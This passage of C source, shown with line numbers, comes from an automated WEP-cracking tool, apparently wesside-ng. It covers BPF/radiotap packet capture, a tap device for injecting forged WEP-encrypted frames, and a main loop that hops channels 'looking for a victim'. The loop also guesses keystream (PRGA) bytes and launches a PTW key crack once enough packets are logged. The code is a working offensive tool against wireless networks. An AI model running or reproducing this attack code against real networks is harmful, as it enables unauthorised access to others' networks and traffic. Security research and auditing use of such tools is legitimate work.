2146                 err(1, "fork");
2147
2148         // child
2149         if (crack_pid == 0) {
2150                 if (!do_crack())
2151                         printf("\nCrack unsuccessful\n");
2152                 exit(1);
2153         }
2154
2155         // parent
2156         printf("\n");
2157         time_print("Starting crack PID=%d\n", crack_pid);
2158         if (gettimeofday(&crack_start, NULL) == -1)
2159                 err(1, "gettimeofday");
2160
2161
2162         wep_thresh += thresh_incr;
2163 }
2164
2165 void open_tap() {
2166         struct stat st;
2167         int s;
2168         struct ifreq ifr;
2169         unsigned int flags;
2170
2171         tapfd = open(TAP_DEV, O_RDWR);
2172         if (tapfd == -1) {
2173                 printf("Can't open tap: %s\n", strerror(errno));
2174                 exit(1);
2175         }
2176         if(fstat(tapfd, &st) == -1) {
2177                 perror("fstat()");
2178                 exit(1);
2179         }
2180
2181         // feer
2182         strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2183
2184         s = socket(PF_INET, SOCK_DGRAM, 0);
2185         if (s == -1) {
2186                 perror("socket()");
2187                 exit(1);
2188         }
2189
2190         // MTU
2191         memset(&ifr, 0, sizeof(ifr));
2192         strcpy(ifr.ifr_name, tapdev);
2193         ifr.ifr_mtu = 1500;
2194         if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2195                 perror("ioctl(SIOCSIFMTU)");
2196                 exit(1);
2197         }
2198
2199         // set iface up
2200         memset(&ifr, 0, sizeof(ifr));
2201         strcpy(ifr.ifr_name, tapdev);
2202         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2203                 perror("ioctl(SIOCGIFFLAGS)");
2204                 exit(1);
2205         }
2206
2207         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2208         flags |= IFF_UP;
2209
2210         memset(&ifr, 0, sizeof(ifr));
2211         strcpy(ifr.ifr_name, tapdev);
2212         ifr.ifr_flags = flags & 0xffff;
2213         ifr.ifr_flagshigh = flags >> 16;
2214         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2215                 perror("ioctl(SIOCSIFFLAGS)");
2216                 exit(1);
2217         }
2218
2219         close(s);
2220         time_print("Opened tap device: %s\n", tapdev);
2221 }
2222
2223 void read_tap() {
2224         unsigned char buf[4096];
2225         struct ether_header* eh;
2226         struct ieee80211_frame* wh;
2227         int rd;
2228         unsigned char* ptr, *body;
2229         int dlen;
2230
2231         rd = read(tapfd, buf, sizeof(buf));
2232         if (rd == -1) {
2233                 perror("read()");
2234                 exit(1);
2235         }
2236         dlen = rd - sizeof(*eh);
2237
2238         assert(dlen > 0);
2239
2240         if (dlen+8 > prgainfo.len) {
2241                 printf("\n");
2242                 // XXX lame message...
2243                 time_print("Sorry... want to send %d but only got %d prga\n",
2244                            dlen, prgainfo.len);
2245                 return;
2246
2247         }
2248
2249         if (taptx_len) {
2250                 printf("\n");
2251                 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2252                 // XXX could not read instead and get rid of it in select...
2253         }
2254
2255         assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2256
2257         eh = (struct ether_header*) buf;
2258
2259         wh = (struct ieee80211_frame*) taptx;
2260         memset(wh, 0, sizeof(*wh));
2261         fill_basic(wh);
2262
2263         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2264         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2265
2266         memcpy(wh->i_addr2, eh->ether_shost, 6);
2267         memcpy(wh->i_addr3, eh->ether_dhost, 6);
2268
2269         body = (unsigned char*) wh + sizeof(*wh);
2270         ptr = body;
2271         ptr += 4; // iv
2272
2273         do_llc(ptr, ntohs(eh->ether_type));
2274         ptr += 8;
2275
2276         memcpy(ptr, &buf[sizeof(*eh)], dlen);
2277
2278         wepify(body, 8+dlen);
2279         taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2280
2281         assert (taptx_len < sizeof(taptx));
2282 }
2283
2284 int elapsedd(struct timeval *past, struct timeval *now)
2285 {
2286         int el;
2287
2288         el = now->tv_sec - past->tv_sec;
2289         assert(el >= 0);
2290         if (el == 0) {
2291                 el = now->tv_usec - past->tv_usec;
2292         } else {
2293                 el = (el - 1)*1000*1000;
2294                 el += 1000*1000-past->tv_usec;
2295                 el += now->tv_usec;
2296         }
2297
2298         return el;
2299 }
2300
2301 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2302 {
2303 #define BIT(n)  (1<<(n))
2304         struct bpf_hdr *bpfh;
2305         struct ieee80211_radiotap_header *rth;
2306         uint32_t present;
2307         uint8_t rflags;
2308         void *ptr;
2309         static int nocrc = 0;
2310
2311         assert(*totlen);
2312
2313         /* bpf hdr */
2314         bpfh = (struct bpf_hdr*) (*data);
2315         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2316         *totlen -= bpfh->bh_hdrlen;
2317
2318         /* check if more packets */
2319         if ((int)bpfh->bh_caplen < *totlen) {
2320                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2321                 int offset = BPF_WORDALIGN(tot);
2322
2323                 *data = (char*)bpfh + offset;
2324                 *totlen -= offset - tot; /* take into account align bytes */
2325         } else if ((int)bpfh->bh_caplen > *totlen)
2326                 abort();
2327
2328         *plen = bpfh->bh_caplen;
2329         *totlen -= bpfh->bh_caplen;
2330         assert(*totlen >= 0);
2331
2332         /* radiotap */
2333         rth = (struct ieee80211_radiotap_header*)
2334               ((char*)bpfh + bpfh->bh_hdrlen);
2335         /* XXX cache; drivers won't change this per-packet */
2336         /* check if FCS/CRC is included in packet */
2337         present = le32toh(rth->it_present);
2338         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2339                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2340                         rflags = ((const uint8_t *)rth)[8];
2341                 else
2342                         rflags = ((const uint8_t *)rth)[0];
2343         } else
2344                 rflags = 0;
2345         *plen -= rth->it_len;
2346         assert(*plen > 0);
2347
2348         /* 802.11 CRC */
2349         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2350                 *plen -= IEEE80211_CRC_LEN;
2351                 nocrc = 1;
2352         }
2353
2354         ptr = (char*)rth + rth->it_len;
2355
2356         return ptr;
2357 #undef BIT
2358 }
2359
2360 static int read_packet(int fd, unsigned char *dst, int len)
2361 {
2362         static unsigned char buf[4096];
2363         static int totlen = 0;
2364         static unsigned char *next = buf;
2365         unsigned char *pkt;
2366         int plen;
2367
2368         assert(len > 0);
2369
2370         /* need to read more */
2371         if (totlen == 0) {
2372                 totlen = read(fd, buf, sizeof(buf));
2373                 if (totlen == -1) {
2374                         totlen = 0;
2375                         return -1;
2376                 }
2377                 next = buf;
2378         }
2379
2380         /* read 802.11 packet */
2381         pkt = get_80211(&next, &totlen, &plen);
2382         if (plen > len)
2383                 plen = len;
2384         assert(plen > 0);
2385         memcpy(dst, pkt, plen);
2386
2387         return plen;
2388 }
2389
2390 void own(int wifd) {
2391         unsigned char buf[4096];
2392         int rd;
2393         fd_set rfd;
2394         struct timeval tv;
2395         char *pbar = "/-\\|";
2396         char *pbarp = &pbar[0];
2397         struct timeval lasthop;
2398         struct timeval now;
2399         unsigned int last_wep_count = 0;
2400         struct timeval last_wcount;
2401         struct timeval last_status;
2402         int fd;
2403         int largest;
2404
2405         weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2406         if (weplog.fd == -1) {
2407                 struct pcap_file_header pfh;
2408
2409                 memset(&pfh, 0, sizeof(pfh));
2410                 pfh.magic           = TCPDUMP_MAGIC;
2411                 pfh.version_major   = PCAP_VERSION_MAJOR;
2412                 pfh.version_minor   = PCAP_VERSION_MINOR;
2413                 pfh.thiszone        = 0;
2414                 pfh.sigfigs         = 0;
2415                 pfh.snaplen         = 65535;
2416                 pfh.linktype        = LINKTYPE_IEEE802_11;
2417
2418                 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2419                                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2420                 if (weplog.fd != -1) {
2421                         if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2422                                 err(1, "write()");
2423                 }
2424         }
2425         else {
2426                 time_print("WARNING: Appending in %s\n", WEP_FILE);
2427         }
2428
2429         if (weplog.fd == -1) {
2430                 perror("open()");
2431                 exit(1);
2432         }
2433
2434         fd = open(PRGA_FILE, O_RDONLY);
2435         if (fd != -1) {
2436                 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2437                 rd = read(fd, buf, sizeof(buf));
2438                 if (rd == -1) {
2439                         perror("read()");
2440                         exit(1);
2441                 }
2442                 if (rd >= 8) {
2443                         set_prga(buf, NULL, &buf[3], rd - 3);
2444                 }
2445
2446                 close(fd);
2447         }
2448
2449         fd = open(DICT_PATH, O_RDONLY);
2450         if (fd == -1) {
2451                 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2452                 if (mkdir (DICT_PATH, 0755) == -1) {
2453                         perror("mkdir()");
2454                         exit(1);
2455                 }
2456         }
2457         else
2458                 close(fd);
2459
2460         open_tap();
2461         set_if_mac(mymac, tapdev);
2462         time_print("Set tap MAC to: %s\n", mac2str(mymac));
2463
2464         if (tapfd > wifd)
2465                 largest = tapfd;
2466         else
2467                 largest = wifd;
2468
2469         if (signal(SIGINT, &cleanup) == SIG_ERR) {
2470                 perror("signal()");
2471                 exit(1);
2472         }
2473         if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2474                 perror("signal()");
2475                 exit(1);
2476         }
2477
2478         time_print("Looking for a victim...\n");
2479         if (gettimeofday(&lasthop, NULL) == -1) {
2480                 perror("gettimeofday()");
2481                 exit(1);
2482         }
2483
2484         memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2485         memcpy(&last_status, &lasthop, sizeof(last_status));
2486
2487         while (1) {
2488                 if (gettimeofday(&now, NULL) == -1) {
2489                         perror("gettimeofday()");
2490                         exit(1);
2491                 }
2492
2493                 /* check for relay timeout */
2494                 if (fragstate.waiting_relay) {
2495                         int el;
2496
2497                         el = now.tv_sec - fragstate.last.tv_sec;
2498                         assert (el >= 0);
2499                         if (el == 0) {
2500                                 el = now.tv_usec - fragstate.last.tv_usec;
2501                         } else {
2502                                 el--;
2503
2504                                 el *= 1000*1000;
2505                                 el += 1000*1000 - fragstate.last.tv_usec;
2506                                 el += now.tv_usec;
2507
2508                                 if (el > (1500*1000)) {
2509 //                                      printf("\nLAMER timeout\n\n");
2510                                         free(fragstate.data);
2511                                         fragstate.data = 0;
2512                                 }
2513                         }
2514                 }
2515
2516                 /* check for arp timeout */
2517                 if (rtrmac == (unsigned char*) 1) {
2518                         int el;
2519
2520                         el = elapsedd(&arpsend, &now);
2521                         if (el >= (1500*1000)) {
2522                                 rtrmac = 0;
2523                         }
2524                 }
2525
2526                 // status bar
2527                 if ( (now.tv_sec > last_status.tv_sec ) ||
2528                      ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2529                         if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2530                                 check_key();
2531                         }
2532                         if (netip && prgainfo.len >= min_prga &&
2533                             rtrmac > (unsigned char*) 1) {
2534                                 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2535                                        weplog.packets, wep_thresh,
2536                                        weplog.iv[0], weplog.iv[1], weplog.iv[2],
2537                                        weplog.rate);
2538                                 fflush(stdout);
2539                         }
2540                         else {
2541                                 if (state == FIND_VICTIM)
2542                                         time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2543                                 else if (decryptstate.cipher) {
2544                                         int pos = decryptstate.prgainfo.len - 1;
2545                                         unsigned char prga = decryptstate.prgainfo.prga[pos];
2546                                         assert(pos);
2547
2548                                         time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2549                                                    prga, decryptstate.cipher[pos] ^ prga);
2550                                 }
2551                                 else
2552                                         time_print("%c\r", *pbarp);
2553                                 fflush(stdout);
2554                         }
2555                         memcpy(&last_status, &now,sizeof(last_status));
2556                 }
2557
2558                 // check if we are cracking
2559                 if (crack_pid) {
2560                         if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2561                                 kill_crack();
2562                 }
2563
2564                 // check TX  / retransmit
2565                 if (txstate.waiting_ack) {
2566                         unsigned int elapsed = now.tv_sec -
2567                                                txstate.tsent.tv_sec;
2568                         elapsed *= 1000*1000;
2569                         elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2570
2571                         if (elapsed >= ack_timeout)
2572                                 send_frame(wifd, NULL, -1);
2573                 }
2574
2575                 // INPUT
2576                 // select
2577                 FD_ZERO(&rfd);
2578                 FD_SET(wifd, &rfd);
2579                 FD_SET(tapfd, &rfd);
2580                 tv.tv_sec = 0;
2581                 tv.tv_usec = 1000*10;
2582                 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2583                 if (rd == -1) {
2584                         perror("select()");
2585                         exit(1);
2586                 }
2587
2588                 // read
2589                 if (rd != 0) {
2590                         // wifi
2591                         if (FD_ISSET(wifd, &rfd)) {
2592                                 rd = read_packet(wifd, buf, sizeof(buf));
2593                                 if (rd == 0)
2594                                         return;
2595                                 if (rd == -1) {
2596                                         perror("read()");
2597                                         exit(1);
2598                                 }
2599
2600                                 pbarp++;
2601                                 if(!(*pbarp))
2602                                         pbarp = &pbar[0];
2603                                 // input
2604                                 anal(buf, rd, wifd);
2605                         }
2606
2607                         // tap
2608                         if (FD_ISSET(tapfd, &rfd)) {
2609                                 read_tap();
2610                         }
2611                 }
2612
2613                 // check state and what we do next.
2614                 if (state == FIND_VICTIM) {
2615                         if (now.tv_sec > lasthop.tv_sec ||
2616                             ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2617                                 int chan = chaninfo.chan;
2618                                 chan++;
2619
2620                                 if(chan > max_chan)
2621                                         chan = 1;
2622
2623                                 set_chan(chan);
2624                                 memcpy(&lasthop, &now, sizeof(lasthop));
2625                         }
2626                 } else {
2627                 // check if we need to write something...
2628                         if (!txstate.waiting_ack)
2629                                 can_write(wifd);
2630
2631                         // roughly!
2632
2633 #ifdef MORE_ACCURATE
2634                         if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2635                                 unsigned int elapsed;
2636                                 int secs;
2637                                 int packetz = weplog.packets - last_wep_count;
2638                                 elapsed = 1000*1000;
2639
2640                                 elapsed -= last_wcount.tv_usec;
2641
2642                                 assert(elapsed >= 0);
2643                                 elapsed += now.tv_usec;
2644
2645                                 secs = now.tv_sec - last_wcount.tv_sec;
2646                                 secs--;
2647                                 if (secs > 0)
2648                                         elapsed += (secs*1000*1000);
2649
2650                                 weplog.rate = (int)
2651                                 ((double)packetz/(elapsed/1000.0/1000.0));
2652 #else
2653                         if ( now.tv_sec > last_wcount.tv_sec) {
2654                                 weplog.rate = weplog.packets - last_wep_count;
2655 #endif
2656                                 last_wep_count = weplog.packets;
2657                                 memcpy(&last_wcount, &now, sizeof(now));
2658
2659                                 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2660                                         try_crack();
2661                         }
2662                 }
2663         }
2664 }
2665
2666 void start(char *dev) {
2667         int fd;
2668
2669         setup_if(dev);
2670
2671         fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2672
2673         ptw = PTW_newattackstate();
2674         if (!ptw)
2675                 err(1, "PTW_newattackstate()");
2676
2677         own(fd);
2678
2679 #if 0
2680         {
2681                 int i;
2682                 struct timeval tv;
2683                 set_chan(11);
2684                 for (i = 0; i < 10; i++) {
2685                         gettimeofday(&tv, NULL);
2686
2687                         send_ack(tx);
2688 //                      usleep(500);
2689                         printf("%lu\n", tv.tv_usec);
2690                 }
2691         }
2692 #endif
2693
2694         close(fd);
2695 }
2696
2697 void usage(char* pname) {
2698         printf("Usage: %s <opts>\n", pname);
2699         printf("-h\t\tthis lame message\n");
2700         printf("-i\t\t<iface>\n");
2701         printf("-s\t\t<flood server ip>\n");
2702         printf("-m\t\t<my ip>\n");
2703         printf("-n\t\t<net ip>\n");
2704         printf("-r\t\t<rtr mac>\n");
2705         printf("-a\t\t<mymac>\n");
2706         printf("-c\t\tdo not crack\n");
2707         printf("-p\t\t<min prga>\n");
2708         printf("-4\t\t64 bit key\n");
2709         printf("-v\t\tvictim mac\n");
2710         printf("-t\t\t<crack thresh>\n");
2711         printf("-f\t\t<max chan>\n");
2712         exit(0);
2713 }
2714
2715 void str2mac(unsigned char* dst, unsigned char* mac) {
2716         unsigned int macf[6];
2717         int i;
2718
2719         if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2720                    &macf[0], &macf[1], &macf[2],
2721                    &macf[3], &macf[4], &macf[5]) != 6) {
2722
2723                    printf("can't parse mac %s\n", mac);
2724                    exit(1);
2725         }
2726
2727         for (i = 0; i < 6; i++)
2728                 *dst++ = (unsigned char) macf[i];
2729 }
2730
2731 int main(int argc, char *argv[]) {
2732         unsigned char* dev = "ath0";
2733         unsigned char rtr[6];
2734         unsigned char vic[6];
2735
2736         int ch;
2737
2738         if (gettimeofday(&real_start, NULL) == -1) {
2739                 perror("gettimeofday()");
2740                 exit(1);
2741         }
2742
2743         chaninfo.s = -1;
2744         victim.ssid = NULL;
2745         prgainfo.len = 0;
2746
2747         memset(&txstate, 0, sizeof(txstate));
2748         memset(&fragstate, 0, sizeof(fragstate));
2749         memset(&decryptstate, 0, sizeof(decryptstate));
2750         memset(&weplog, 0, sizeof(weplog));
2751
2752         state = FIND_VICTIM;
2753
2754         while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2755                 switch (ch) {
2756                         case 'a':
2757                                 str2mac(mymac, optarg);
2758                                 break;
2759
2760                         case 's':
2761                                 floodip = optarg;
2762                                 break;
2763
2764                         case 'i':
2765                                 dev = optarg;
2766                                 break;
2767
2768                         case 'm':
2769                                 strncpy(myip, optarg, sizeof(myip)-1);
2770                                 myip[sizeof(myip)-1] = 0;
2771                                 break;
2772
2773                         case 'n':
2774                                 netip = optarg;
2775                                 netip_arg = 1;
2776                                 break;
2777
2778                         case 'r':
2779                                 str2mac(rtr, optarg);
2780                                 rtrmac = rtr;
2781                                 break;
2782
2783                         case 'v':
2784                                 str2mac(vic, optarg);
2785                                 victim_mac = vic;
2786                                 break;
2787
2788                         case 'c':
2789                                 wep_thresh = -1;
2790                                 break;
2791
2792                         case 'p':
2793                                 min_prga = atoi(optarg);
2794                                 break;
2795
2796                         case 't':
2797                                 thresh_incr = wep_thresh = atoi(optarg);
2798                                 break;
2799
2800                         case 'f':
2801                                 max_chan = atoi(optarg);
2802                                 break;
2803
2804                         case '4':
2805                                 bits = 64;
2806                                 break;
2807
2808                         default:
2809                                 usage(argv[0]);
2810                                 break;
2811                 }
2812         }
2813
2814         start(dev);
2815
2816         if(chaninfo.s != -1)
2817                 close(chaninfo.s);
2818         if(victim.ssid)
2819                 free(victim.ssid);
2820         exit(0);
2821 }